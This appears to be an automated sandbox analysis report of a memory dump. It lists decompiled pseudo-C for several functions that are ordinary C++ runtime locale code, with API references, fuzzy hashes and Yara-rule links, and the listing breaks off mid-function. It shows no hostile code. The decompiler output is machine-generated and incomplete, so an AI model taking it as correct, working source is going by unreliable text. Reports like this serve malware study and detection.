Instruction Fuzzy Hash: F401AD31D002159BCF05EBA998596BE7BB1AF94714F54046EE420AB382CF7C9E01C799

Uniqueness

Uniqueness Score: -1.00%

Function 00499788, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00499788() {
				signed int _t59;
				void* _t97;
				signed int _t144;
				void* _t157;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				void* _t162;
				signed int _t163;
				signed int _t164;
				signed int _t165;
				signed int _t166;
				signed int _t167;
				void* _t172;
				void* _t173;

				_push(8);
				L0049D90B(0x4d6966, _t157, _t162);
				L00488DEA(_t172 - 0x14, 0);
				_t163 =  *0x4ede64; // 0x0
				 *(_t172 - 4) =  *(_t172 - 4) & 0x00000000;
				 *(_t172 - 0x10) = _t163;
				_t59 = E0042B315( *((intOrPtr*)(_t172 + 8)), E0042B22E(0x4ede44, _t157, _t163, _t173));
				_t158 = _t59;
				if(_t59 != 0) {
					L5:
					L00488E42(_t172 - 0x14);
					return L0049D8D4(_t158);
				} else {
					if(_t163 == 0) {
						_push( *((intOrPtr*)(_t172 + 8)));
						_push(_t172 - 0x10);
						__eflags = L00499CBD(_t158, _t163, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							L0049D90B(0x4d6966, _t158, _t163);
							L00488DEA(_t172 - 0x14, 0);
							_t164 =  *0x4ede60;
							 *(_t172 - 4) =  *(_t172 - 4) & 0x00000000;
							 *(_t172 - 0x10) = _t164;
							_t159 = E0042B315( *((intOrPtr*)(_t172 + 8)), E0042B22E(0x4ede40, _t158, _t164, __eflags));
							__eflags = _t159;
							if(_t159 != 0) {
								L12:
								L00488E42(_t172 - 0x14);
								return L0049D8D4(_t159);
							} else {
								__eflags = _t164;
								if(__eflags == 0) {
									_push( *((intOrPtr*)(_t172 + 8)));
									_push(_t172 - 0x10);
									__eflags = L00499D41(_t159, _t164, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										L0049D90B(0x4d6966, _t159, _t164);
										L00488DEA(_t172 - 0x14, 0);
										_t165 =  *0x4ede68;
										 *(_t172 - 4) =  *(_t172 - 4) & 0x00000000;
										 *(_t172 - 0x10) = _t165;
										_t160 = E0042B315( *((intOrPtr*)(_t172 + 8)), E0042B22E(0x4ede48, _t159, _t165, __eflags));
										__eflags = _t160;
										if(_t160 != 0) {
											L19:
											L00488E42(_t172 - 0x14);
											return L0049D8D4(_t160);
										} else {
											__eflags = _t165;
											if(__eflags == 0) {
												_push( *((intOrPtr*)(_t172 + 8)));
												_push(_t172 - 0x10);
												__eflags = L00499DC6(_t160, _t165, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													L0049D90B(0x4d6966, _t160, _t165);
													L00488DEA(_t172 - 0x14, 0);
													_t166 =  *0x4ede6c;
													 *(_t172 - 4) =  *(_t172 - 4) & 0x00000000;
													 *(_t172 - 0x10) = _t166;
													_t161 = E0042B315( *((intOrPtr*)(_t172 + 8)), E0042B22E(0x4ede4c, _t160, _t166, __eflags));
													__eflags = _t161;
													if(_t161 != 0) {
														L26:
														L00488E42(_t172 - 0x14);
														return L0049D8D4(_t161);
													} else {
														__eflags = _t166;
														if(__eflags == 0) {
															_push( *((intOrPtr*)(_t172 + 8)));
															_push(_t172 - 0x10);
															_t97 = L00499E32(_t161, _t166, __eflags);
															_pop(_t144);
															__eflags = _t97 - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(4);
																L0049D90B(0x4d6989, _t161, _t166);
																_t167 = _t144;
																 *(_t172 - 0x10) = _t167;
																 *((intOrPtr*)(_t167 + 4)) =  *((intOrPtr*)(_t172 + 0xc));
																_push( *((intOrPtr*)(_t172 + 8)));
																_t53 = _t172 - 4;
																 *_t53 =  *(_t172 - 4) & 0x00000000;
																__eflags =  *_t53;
																 *_t167 = 0x402f68; // executed
																E0049AC63(_t144, _t161, _t167,  *_t53); // executed
																return L0049D8D4(_t167);
															} else {
																_t161 =  *(_t172 - 0x10);
																 *(_t172 - 0x10) = _t161;
																 *(_t172 - 4) = 1;
																E0048919D(_t161);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t161 + 4))))();
																 *0x4ede6c = _t161;
																goto L26;
															}
														} else {
															_t161 = _t166;
															goto L26;
														}
													}
												} else {
													_t160 =  *(_t172 - 0x10);
													 *(_t172 - 0x10) = _t160;
													 *(_t172 - 4) = 1;
													E0048919D(_t160);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t160 + 4))))();
													 *0x4ede68 = _t160;
													goto L19;
												}
											} else {
												_t160 = _t165;
												goto L19;
											}
										}
									} else {
										_t159 =  *(_t172 - 0x10);
										 *(_t172 - 0x10) = _t159;
										 *(_t172 - 4) = 1;
										E0048919D(_t159);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t159 + 4))))();
										 *0x4ede60 = _t159;
										goto L12;
									}
								} else {
									_t159 = _t164;
									goto L12;
								}
							}
						} else {
							_t158 =  *(_t172 - 0x10);
							 *(_t172 - 0x10) = _t158;
							 *(_t172 - 4) = 1;
							E0048919D(_t158);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t158 + 4))))();
							 *0x4ede64 = _t158;
							goto L5;
						}
					} else {
						_t158 = _t163;
						goto L5;
					}
				}
			}

0x00499788
0x0049978f
0x00499799
0x0049979e
0x004997a9
0x004997ad
0x004997b9
0x004997be
0x004997c2
0x00499807
0x0049980a
0x00499816
0x004997c4
0x004997c6
0x004997cc
0x004997d2
0x004997da
0x004997dd
0x00499817
0x0049981c
0x0049981d
0x00499824
0x0049982e
0x00499833
0x0049983e
0x00499842
0x00499853
0x00499855
0x00499857
0x0049989c
0x0049989f
0x004998ab
0x00499859
0x00499859
0x0049985b
0x00499861
0x00499867
0x0049986f
0x00499872
0x004998ac
0x004998b1
0x004998b2
0x004998b9
0x004998c3
0x004998c8
0x004998d3
0x004998d7
0x004998e8
0x004998ea
0x004998ec
0x00499931
0x00499934
0x00499940
0x004998ee
0x004998ee
0x004998f0
0x004998f6
0x004998fc
0x00499904
0x00499907
0x00499941
0x00499946
0x00499947
0x0049994e
0x00499958
0x0049995d
0x00499968
0x0049996c
0x0049997d
0x0049997f
0x00499981
0x004999c6
0x004999c9
0x004999d5
0x00499983
0x00499983
0x00499985
0x0049998b
0x00499991
0x00499992
0x00499998
0x00499999
0x0049999c
0x004999d6
0x004999db
0x004999dc
0x004999e3
0x004999e8
0x004999ea
0x004999f0
0x004999f3
0x004999f6
0x004999f6
0x004999f6
0x004999fa
0x00499a00
0x00499a0c
0x0049999e
0x0049999e
0x004999a1
0x004999a5
0x004999a9
0x004999b6
0x004999be
0x004999c0
0x00000000
0x004999c0
0x00499987
0x00499987
0x00000000
0x00499987
0x00499985
0x00499909
0x00499909
0x0049990c
0x00499910
0x00499914
0x00499921
0x00499929
0x0049992b
0x00000000
0x0049992b
0x004998f2
0x004998f2
0x00000000
0x004998f2
0x004998f0
0x00499874
0x00499874
0x00499877
0x0049987b
0x0049987f
0x0049988c
0x00499894
0x00499896
0x00000000
0x00499896
0x0049985d
0x0049985d
0x00000000
0x0049985d
0x0049985b
0x004997df
0x004997df
0x004997e2
0x004997e6
0x004997ea
0x004997f7
0x004997ff
0x00499801
0x00000000
0x00499801
0x004997c8
0x004997c8
0x00000000
0x004997c8
0x004997c6

APIs

__EH_prolog3.LIBCMT ref: 0049978F
std::_Lockit::_Lockit.LIBCPMT ref: 00499799

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

moneypunct.LIBCPMT ref: 004997D3
std::_Facet_Register.LIBCPMT ref: 004997EA
std::_Lockit::~_Lockit.LIBCPMT ref: 0049980A
Concurrency::cancel_current_task.LIBCPMT ref: 00499817

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermoneypunct
String ID:
API String ID: 1799738296-0
Opcode ID: 151a5cb6a0bbab467bee6533aeea040cd029332179a6ab3da36f8b9fa95dc6b4
Instruction ID: 49ac802887d0621467d1e4e35387ffc2160dcd53cc5cd5c6759d1e4b805c01c3
Opcode Fuzzy Hash: 151a5cb6a0bbab467bee6533aeea040cd029332179a6ab3da36f8b9fa95dc6b4
Instruction Fuzzy Hash: 6901C475D002159BCF05FB69D9596BE7BA5AF80314F14086FE4106B392CF7C9D01C799

Uniqueness

Uniqueness Score: -1.00%

Function 004301CC, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E004301CC(intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				signed char* _t52;
				intOrPtr _t54;
				signed char** _t57;
				intOrPtr _t59;
				void* _t60;

				_t54 = __ecx;
				_push(0x60);
				L0049D93F(0x4c5446, __edi, __esi);
				_t59 = _t54;
				_t57 = L004A5AB9();
				E00489787(_t60 - 0x3c);
				 *((intOrPtr*)(_t60 - 0x40)) = _t59;
				 *((intOrPtr*)(_t59 + 8)) = 0;
				 *((intOrPtr*)(_t59 + 0x10)) = 0;
				 *((intOrPtr*)(_t59 + 0x14)) = 0;
				 *(_t60 - 4) = 0;
				_t52 = 0x40f063;
				_t65 =  *((intOrPtr*)(_t60 + 0xc));
				if( *((intOrPtr*)(_t60 + 0xc)) == 0) {
					_t52 = _t57[2];
				}
				E00489787(_t60 - 0x3c);
				_push(_t60 - 0x6c);
				_push(0);
				 *((intOrPtr*)(_t59 + 8)) = E004302EE(_t57, _t59, _t60, _t65, _t52);
				_push(_t60 - 0x3c);
				_push(0);
				 *((intOrPtr*)(_t59 + 0x10)) = E004302EE(_t57, _t59, _t60, _t65, "false");
				_push(_t60 - 0x3c);
				_push(0);
				 *((intOrPtr*)(_t59 + 0x14)) = E004302EE(_t57, _t59, _t60, _t65, "true");
				 *((intOrPtr*)(_t60 - 0x40)) = 0;
				_push(_t60 - 0x3c);
				_push(0);
				if( *((intOrPtr*)(_t60 + 0xc)) == 0) {
					 *((char*)(_t59 + 0xc)) = E0043032A( *( *_t57) & 0x000000ff);
					_push(_t60 - 0x3c);
					_push(0);
					_push( *(_t57[1]) & 0x000000ff);
				} else {
					 *((char*)(_t59 + 0xc)) = E0043032A(0x2e);
					_push(_t60 - 0x3c);
					_push(0);
					_push(0x2c);
				}
				 *((char*)(_t59 + 0xd)) = E0043032A();
				 *(_t60 - 4) =  *(_t60 - 4) | 0xffffffff;
				return L0049D8E9(_t48, _t57, _t59);
			}

0x004301cc
0x004301cc
0x004301d3
0x004301d8
0x004301df
0x004301e5
0x004301ec
0x004301f0
0x004301f3
0x004301f6
0x004301f9
0x004301fc
0x00430201
0x00430204
0x00430206
0x00430206
0x0043020d
0x00430215
0x00430216
0x0043021e
0x00430226
0x00430227
0x00430232
0x00430238
0x00430239
0x00430247
0x0043024d
0x00430250
0x00430251
0x00430255
0x00430275
0x0043027b
0x0043027f
0x00430283
0x00430257
0x0043025e
0x00430264
0x00430265
0x00430266
0x00430266
0x00430289
0x0043028f
0x00430298

APIs

__EH_prolog3_GS.LIBCMT ref: 004301D3
__Getcvt.LIBCPMT ref: 004301E5
__Getcvt.LIBCPMT ref: 0043020D

Strings

true, xrefs: 0043023A
false, xrefs: 00430228

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Getcvt$H_prolog3_
String ID: false$true
API String ID: 4085572910-2658103896
Opcode ID: ea4191a211f3c7b8b38784d1ff0e0f436af73cb0f23fbff5d976b9e803d5be47
Instruction ID: 677c1ce155cf09159817d19818d2668137ab5584c5fc0557ba10d4e1fab97d9e
Opcode Fuzzy Hash: ea4191a211f3c7b8b38784d1ff0e0f436af73cb0f23fbff5d976b9e803d5be47
Instruction Fuzzy Hash: 96214FB1D00748AFDB20EFF5D891A5FBBBCAB08304F04866FB565D7242D73899048B69

Uniqueness

Uniqueness Score: -1.00%

Function 00433006, Relevance: 7.6, APIs: 5, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00433006(void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t26;
				intOrPtr _t42;
				intOrPtr* _t55;
				intOrPtr* _t57;
				void* _t60;
				void* _t61;
				void* _t62;

				_t62 = __eflags;
				_push(0x10);
				L0049D93F(0x4c4f82, __edi, __esi);
				_t42 =  *((intOrPtr*)(_t60 + 8));
				L00488DEA(_t60 - 0x18, 0);
				 *(_t60 - 4) =  *(_t60 - 4) & 0x00000000;
				_t57 =  *0x4eeb54; // 0x10aa6a0
				 *((intOrPtr*)(_t60 - 0x1c)) = _t57;
				_t26 = E0042B315(_t42, E0042B22E(0x4ef524, _t57, __esi, _t62));
				_t59 = _t26;
				if(_t26 != 0) {
					L6:
					 *(_t60 - 4) =  *(_t60 - 4) | 0xffffffff;
					L00488E42(_t60 - 0x18);
					return L0049D8E9(_t59, _t57, _t59);
				} else {
					if(_t57 == 0) {
						_push(_t42);
						_push(_t60 - 0x1c);
						__eflags = E0043331E(_t57, _t59, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							return E004332E7( *((intOrPtr*)(_t61 + 8)),  *((intOrPtr*)(_t61 + 8)));
						} else {
							_t59 =  *((intOrPtr*)(_t60 - 0x1c));
							 *((intOrPtr*)(_t60 - 0x14)) = 0;
							 *((intOrPtr*)(_t60 - 0x14)) = _t59;
							 *(_t60 - 4) = 1;
							E0048919D(_t59);
							 *((intOrPtr*)( *_t59 + 4))();
							 *0x4eeb54 = _t59;
							 *((intOrPtr*)(_t60 - 0x1c)) = 0;
							L0042FDE0(_t60 - 0x14, _t60 - 0x1c);
							 *(_t60 - 4) = 0;
							_t55 =  *((intOrPtr*)(_t60 - 0x14));
							__eflags = _t55;
							if(_t55 != 0) {
								 *((intOrPtr*)( *_t55))(1);
							}
							goto L6;
						}
					} else {
						_t59 = _t57;
						goto L6;
					}
				}
			}

0x00433006
0x00433006
0x0043300d
0x00433012
0x0043301a
0x0043301f
0x00433028
0x0043302e
0x00433039
0x0043303e
0x00433042
0x004330a2
0x004330a2
0x004330a9
0x004330b5
0x00433044
0x00433046
0x0043304f
0x00433050
0x00433058
0x0043305b
0x004330b6
0x004330bb
0x004330c9
0x0043305d
0x0043305d
0x00433062
0x00433065
0x00433068
0x0043306d
0x00433077
0x0043307d
0x00433087
0x0043308b
0x00433092
0x00433095
0x00433098
0x0043309a
0x004330a0
0x004330a0
0x00000000
0x0043309a
0x00433048
0x00433048
0x00000000
0x00433048
0x00433046

APIs

__EH_prolog3_GS.LIBCMT ref: 0043300D
std::_Lockit::_Lockit.LIBCPMT ref: 0043301A

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0043306D
std::_Lockit::~_Lockit.LIBCPMT ref: 004330A9
Concurrency::cancel_current_task.LIBCPMT ref: 004330B6

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$H_prolog3_Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2687776920-0
Opcode ID: 47d17ada41617051c4e826c128848fcfaee918a060b064c64cdafa41d6349d30
Instruction ID: 07115667762014d115be0965e30639c84d16096a2aff31e3f5105c38e37937e2
Opcode Fuzzy Hash: 47d17ada41617051c4e826c128848fcfaee918a060b064c64cdafa41d6349d30
Instruction Fuzzy Hash: ED21D231E002099FCB04EFA6D5456AEB7B4AF08324F60412FE415AB282CB3C9E058B99

Uniqueness

Uniqueness Score: -1.00%

Function 0048C5E6, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048C5ED
std::_Lockit::_Lockit.LIBCPMT ref: 0048C5F7

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048C648
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C668
Concurrency::cancel_current_task.LIBCPMT ref: 0048C675

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: b9119180e79beb665a03a3fc378a288d6d2900f69ef4ec72af5fc5e92b0b1f49
Instruction ID: aef4afcf62bf41a94b05ecd4f02ab16faa9e11d6d49223e49f447fbe2a6d1aae
Opcode Fuzzy Hash: b9119180e79beb665a03a3fc378a288d6d2900f69ef4ec72af5fc5e92b0b1f49
Instruction Fuzzy Hash: 97010031E002258BCB01FB65D85AABE77B1AF84318F14085FF410AB382DF7C9E0187A9

Uniqueness

Uniqueness Score: -1.00%

Function 0049965E, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00499665
std::_Lockit::_Lockit.LIBCPMT ref: 0049966F

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 004996C0
std::_Lockit::~_Lockit.LIBCPMT ref: 004996E0
Concurrency::cancel_current_task.LIBCPMT ref: 004996ED

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 1361f327450776258036e252e1eb330065496c3a0b44cbb1ef9c427a0951a425
Instruction ID: 632aec8e941a6f8264a3958551e04476efeb4a27318b838572e2971dc9c0275a
Opcode Fuzzy Hash: 1361f327450776258036e252e1eb330065496c3a0b44cbb1ef9c427a0951a425
Instruction Fuzzy Hash: C501C432D001158BCF05FBA9E8596BE7B61AF84714F14042FE4116B392CF7CAD01C799

Uniqueness

Uniqueness Score: -1.00%

Function 0048C67B, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C67B(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v200;
				signed int _t213;
				void* _t394;
				short* _t568;
				void* _t620;
				signed int _t622;
				signed int _t623;
				signed int _t624;
				signed int _t625;
				signed int _t626;
				signed int _t627;
				signed int _t628;
				signed int _t629;
				signed int _t630;
				signed int _t631;
				signed int _t632;
				signed int _t633;
				signed int _t634;
				signed int _t635;
				signed int _t636;
				signed int _t637;
				void* _t638;
				signed int _t639;
				signed int _t640;
				signed int _t641;
				signed int _t642;
				signed int _t643;
				signed int _t644;
				signed int _t645;
				signed int _t646;
				signed int _t647;
				signed int _t648;
				signed int _t649;
				signed int _t650;
				signed int _t651;
				signed int _t652;
				signed int _t653;
				signed int _t654;
				signed int _t655;
				short* _t656;
				void* _t678;
				void* _t679;

				_push(8);
				L0049D90B(0x4d6966, _t620, _t638);
				L00488DEA( &_v20, 0);
				_t639 =  *0x4edde4; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t639;
				_t213 = E0042B315(_a8, E0042B22E(0x4edd90, _t620, _t639, _t679));
				_t621 = _t213;
				if(_t213 != 0) {
					L5:
					L00488E42( &_v20);
					return L0049D8D4(_t621);
				} else {
					if(_t639 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E11D(_t621, _t639, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							L0049D90B(0x4d6966, _t621, _t639);
							L00488DEA( &_v20, 0);
							_t640 =  *0x4ede18; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t640;
							_t622 = E0042B315(_a8, E0042B22E(0x4eddbc, _t621, _t640, __eflags));
							__eflags = _t622;
							if(_t622 != 0) {
								L12:
								L00488E42( &_v20);
								return L0049D8D4(_t622);
							} else {
								__eflags = _t640;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E185(_t622, _t640, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										L0049D90B(0x4d6966, _t622, _t640);
										L00488DEA( &_v20, 0);
										_t641 =  *0x4edde8; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t641;
										_t623 = E0042B315(_a8, E0042B22E(0x4edd94, _t622, _t641, __eflags));
										__eflags = _t623;
										if(_t623 != 0) {
											L19:
											L00488E42( &_v20);
											return L0049D8D4(_t623);
										} else {
											__eflags = _t641;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E1ED(_t623, _t641, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													L0049D90B(0x4d6966, _t623, _t641);
													L00488DEA( &_v20, 0);
													_t642 =  *0x4ede20;
													_v4 = _v4 & 0x00000000;
													_v16 = _t642;
													_t624 = E0042B315(_a8, E0042B22E(0x4eddc4, _t623, _t642, __eflags));
													__eflags = _t624;
													if(_t624 != 0) {
														L26:
														L00488E42( &_v20);
														return L0049D8D4(_t624);
													} else {
														__eflags = _t642;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E255(_t624, _t642, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																L0049D90B(0x4d6966, _t624, _t642);
																L00488DEA( &_v20, 0);
																_t643 =  *0x4ede1c;
																_v4 = _v4 & 0x00000000;
																_v16 = _t643;
																_t625 = E0042B315(_a8, E0042B22E(0x4eddc0, _t624, _t643, __eflags));
																__eflags = _t625;
																if(_t625 != 0) {
																	L33:
																	L00488E42( &_v20);
																	return L0049D8D4(_t625);
																} else {
																	__eflags = _t643;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E2D9(_t625, _t643, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			L0049D90B(0x4d6966, _t625, _t643);
																			L00488DEA( &_v20, 0);
																			_t644 =  *0x4eddf0;
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t644;
																			_t626 = E0042B315(_a8, E0042B22E(0x4edd9c, _t625, _t644, __eflags));
																			__eflags = _t626;
																			if(_t626 != 0) {
																				L40:
																				L00488E42( &_v20);
																				return L0049D8D4(_t626);
																			} else {
																				__eflags = _t644;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E35E(_t626, _t644, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						L0049D90B(0x4d6966, _t626, _t644);
																						L00488DEA( &_v20, 0);
																						_t645 =  *0x4eddec;
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t645;
																						_t627 = E0042B315(_a8, E0042B22E(0x4edd98, _t626, _t645, __eflags));
																						__eflags = _t627;
																						if(_t627 != 0) {
																							L47:
																							L00488E42( &_v20);
																							return L0049D8D4(_t627);
																						} else {
																							__eflags = _t645;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E3E2(_t627, _t645, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									L0049D90B(0x4d6966, _t627, _t645);
																									L00488DEA( &_v20, 0);
																									_t646 =  *0x4ede00;
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t646;
																									_t628 = E0042B315(_a8, E0042B22E(0x4edda4, _t627, _t646, __eflags));
																									__eflags = _t628;
																									if(_t628 != 0) {
																										L54:
																										L00488E42( &_v20);
																										return L0049D8D4(_t628);
																									} else {
																										__eflags = _t646;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E467(_t628, _t646, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												L0049D90B(0x4d6966, _t628, _t646);
																												L00488DEA( &_v20, 0);
																												_t647 =  *0x4eddd0;
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t647;
																												_t629 = E0042B315(_a8, E0042B22E(0x4edd7c, _t628, _t647, __eflags));
																												__eflags = _t629;
																												if(_t629 != 0) {
																													L61:
																													L00488E42( &_v20);
																													return L0049D8D4(_t629);
																												} else {
																													__eflags = _t647;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E4CF(_t629, _t647, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															L0049D90B(0x4d6966, _t629, _t647);
																															L00488DEA( &_v20, 0);
																															_t648 =  *0x4ede04;
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t648;
																															_t630 = E0042B315(_a8, E0042B22E(0x4edda8, _t629, _t648, __eflags));
																															__eflags = _t630;
																															if(_t630 != 0) {
																																L68:
																																L00488E42( &_v20);
																																return L0049D8D4(_t630);
																															} else {
																																__eflags = _t648;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E537(_t630, _t648, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		L0049D90B(0x4d6966, _t630, _t648);
																																		L00488DEA( &_v20, 0);
																																		_t649 =  *0x4eddd4;
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t649;
																																		_t631 = E0042B315(_a8, E0042B22E(0x4edd80, _t630, _t649, __eflags));
																																		__eflags = _t631;
																																		if(_t631 != 0) {
																																			L75:
																																			L00488E42( &_v20);
																																			return L0049D8D4(_t631);
																																		} else {
																																			__eflags = _t649;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E59F(_t631, _t649, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					L0049D90B(0x4d6966, _t631, _t649);
																																					L00488DEA( &_v20, 0);
																																					_t650 =  *0x4ede08;
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t650;
																																					_t632 = E0042B315(_a8, E0042B22E(0x4eddac, _t631, _t650, __eflags));
																																					__eflags = _t632;
																																					if(_t632 != 0) {
																																						L82:
																																						L00488E42( &_v20);
																																						return L0049D8D4(_t632);
																																					} else {
																																						__eflags = _t650;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E607(_t632, _t650, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								L0049D90B(0x4d6966, _t632, _t650);
																																								L00488DEA( &_v20, 0);
																																								_t651 =  *0x4eddd8;
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t651;
																																								_t633 = E0042B315(_a8, E0042B22E(0x4edd84, _t632, _t651, __eflags));
																																								__eflags = _t633;
																																								if(_t633 != 0) {
																																									L89:
																																									L00488E42( &_v20);
																																									return L0049D8D4(_t633);
																																								} else {
																																									__eflags = _t651;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E682(_t633, _t651, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											L0049D90B(0x4d6966, _t633, _t651);
																																											L00488DEA( &_v20, 0);
																																											_t652 =  *0x4ede24;
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t652;
																																											_t634 = E0042B315(_a8, E0042B22E(0x4eddc8, _t633, _t652, __eflags));
																																											__eflags = _t634;
																																											if(_t634 != 0) {
																																												L96:
																																												L00488E42( &_v20);
																																												return L0049D8D4(_t634);
																																											} else {
																																												__eflags = _t652;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E0048E6FD(_t634, _t652, __eflags) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(8);
																																														L0049D90B(0x4d6966, _t634, _t652);
																																														L00488DEA( &_v20, 0);
																																														_t653 =  *0x4eddf4;
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t653;
